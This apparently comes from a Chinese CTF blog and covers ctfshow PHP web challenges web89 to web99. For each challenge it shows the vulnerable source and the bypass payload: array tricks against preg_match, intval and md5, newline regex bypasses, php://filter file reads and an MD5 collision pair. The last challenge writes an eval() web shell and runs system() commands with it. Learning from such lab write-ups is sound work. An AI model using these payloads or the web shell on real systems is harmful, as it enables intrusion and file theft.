w89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
先了解到我们要传入一个get请求num,preg_match函数是限制num的值,判断num里面是否有0-9,也就是不能带数字,如果带数字直接结束进程,我们利用preg_match函数无法处理数组,通过数组绕过,然后intval函数检测数组,如果是非空数组即返回1([]不是非空数组,空数组应该是array())
所以构造playload:
?num[]=1
得到flag:ctfshow{cec13854-3c5b-4317-a73f-42b3d2cfe18f}
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
传入一个get值num,如果num等于十进制的4476就结束程序,我们要传入一个值强等于4476,===的作用先判断类型相同吗,如果不相同直接返回错误,如果相同就进行值的比较,我们再看intval($num,0)函数
base是0,我们可以通过4476的8进制或者16进制来得到flag,而且我们知道intval函数获取变量的整数如果我们传入4476a只会取4476,所以playload为
?num=0×117c //十六进制
?num=010574 //八进制
?num=4476a //取整数
得到flag:ctfshow{9cd0221e-1cc1-4035-b188-1e228eb18c24}
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
首先我们传入一个get请求cmd,preg_match('/^php$/im', $a)这个代码刚开始看不明白什么意思,去百度查了表达式全集,我们知道了^是开头要是php,$是结尾是php,所以我们就传php就行,然后又搜了/im是什么意思,/i是不区别大小写,/m是多行匹配,如果第一个匹配成功就进入下一个匹配,我们就可以用%0a也就是换行的url编码来进行绕过构造playload:
?cmd=%0aphp
?cmd=php%0aphp //在网站我们传入一个php%0aphp是分为两行,第一行是php CRLF,第二行是php,所以在第二个if处第一行匹配不成功
第一个传入是这样子的
得到flag:ctfshow{9f4e1da2-697a-4d43-b108-f4b50b9ca731}
web92
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
与90题差不多,只是变成弱等于,那我们不能用4476a了因为4476a=4476,但是16进制与八进制还是可以用,看到一些大佬wp用科学计数法e,比如4476e12就是4476*10的12次方,但是在intval中遇到字母就会停止所以就等于4476所以playload就是:
?num=0×117c //十六进制
?num=010574 //八进制
?num=4476e12 //科学计数法
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
和之前的差不多类型,但是它限制了字母并且不区分大小写,所以十六进制不行,科学计数法也不行,这两个都带字母,用八进制,构造playload:
?num=010574
得到flag:ctfshow{0ce17b8e-f699-481b-8436-d153a1c79f96}
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
不能直接传入4476,也不能带字母也不区分大小写
strpos()函数的理解:该函数是从我们传入的参数num中,寻找并匹配数字0,只要匹配到0都是true,第一位匹配正确返回0,第二位匹配正确返回1,依此递推.如果第一位为0输出0再加上!变为1if语句就成立,所以第一位不能为0,所以playload:
?num=%0a010574 //通过换行符来绕过
?num=%20010574 //通过空格来绕过
?num=4476.01 //通过小数带0来绕过
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
和上面一题差不多,要检测到0,0不能在第一位,不能带字母和点,所以可以用空格符和换行符来绕过,所以playload:
?num=%0a010574 //通过换行符来绕过
?num=%20010574 //通过空格来绕过
得到flag:ctfshow{d9c88609-912c-4c4d-8276-4bcb45c58c95}
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
highlight_file函数可以读取文件,但是他过滤了flag.php文件,我们就可以用相对路径或者绝对路径来绕过,我们先随便读取一个文件
我们可以看到没有这个文件,但是我们也可以看到这个路径
看到这个函数我们也可以想到伪协议来读取文件
我们构造playload:
?u=/var/www/html/flag.php 绝对路径
?u=./flag.php 相对路径
?u=php://filter/resource=flag.php php伪协议
?u=php://filter/convert.base64-encode/resource=flag.php 如果他过滤了flag.php
可以得到flag:ctfshow{6c9dcacf-1ffc-4dee-98a0-1374883e5624}
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
isset检测里面要有值,然后传入post请求我们变量不能相同,但是他们的mad值要强等于所以我们可以构造MD5碰撞强等于构造playload:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
我在hackbar用不能得出结果,但是在bp里面可以得到flag
我们也可以利用数组绕过,数组的MD5为0构造playload:
a[]=1&b[]=2
得到flag:ctfshow{8136af57-e8da-4720-a1f7-d18f1505a1c8}
web98
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
第一句就是传入一个get请求会转化成post请求,第四个就是传入get请求HTTP_FLAG=flag可以得到flag,我们只要post传入就会转到get请求,get请求随便都行构造playload:
// GET传参
?b=1
// POST传参
HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
定义一个空的数组,for循环,在36到811随机取一个数插入在空数组后面,如果传入的get请求n中与数组有相同就将get请求n与post请求content写入文件,我们可以利用弱相等,传入get值1.php,因为随机数为1到多少多少,1的概率大,然后1.php被转化为1然后相同,执行下面的语句,我们在写一个一句话木马post请求,playload:
?n=1.php
post传参
content=<?php @eval($_POST[a]);?>
a=system('ls');
a=system('cat flag36d.php');